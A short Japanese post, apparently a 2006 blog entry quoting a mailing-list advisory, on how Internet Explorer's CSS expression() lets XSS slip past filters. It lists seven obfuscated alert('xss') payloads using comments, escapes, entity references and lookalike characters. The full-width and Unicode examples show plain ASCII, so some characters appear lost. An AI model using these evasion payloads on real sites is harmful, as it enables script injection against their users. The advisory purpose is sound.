IE における "expression" の過剰検出による XSS の 誘因

  http://archive.openmya.devnull.jp/2006.08/msg00369.html

  IE では expression(式) をスタイルシート内で記述することで JavaScript を記述することができるのは有名ですが,
  IE による expression の検出がやたら過剰で XSS を引き起こしやすいということらしい.

  実態参照やコメントの挿入,Unicode 文字,全角文字で記述しても expression として検出される.
  詳細は,上記サイトより引用.

IE では、以下のようなスタイルを記述することで、JavaScript を動作させる
ことが可能です。

1) <style>ブロック内での定義
<style>input { left:expression( alert('xss') ) } </style>

2) インラインでのスタイル定義
<div style="{ left:expression( alert('xss') ) }">

3) コメントの挿入
<div style="{ left:exp/*  */ression( alert('xss') ) }">

4) バックスラッシュでのコードポイント指定
<div style="{ left:\0065\0078pression( alert('xss') ) }">

5) 実体参照
インラインでのスタイル定義では、実体参照が利用可能です。
<div style="{ left:&#x0065;xpression( alert('xss') ) }">

6) 全角文字
<div style="{ left:expression( alert('xss') ) }">

7) 特定のUnicode文字
<div style="{ left:expRessioN( alert('xss') ) }">
R は U+0280、N は U+0274 または U+207F が利用可能です。

上記 1) ? 7) は相互に組み合わせて表記することも可能です。
また、6) および 7) は、IE7 RC1 では動作しません。

  アプリケーション側で対応しなければならないので,スタイルシートの記述を許可しているアプリケーションは注意が必要.

- via: セキュリティホール memo メーリングリスト
  http://memo.st.ryukoku.ac.jp/archive/200608.month/9096.html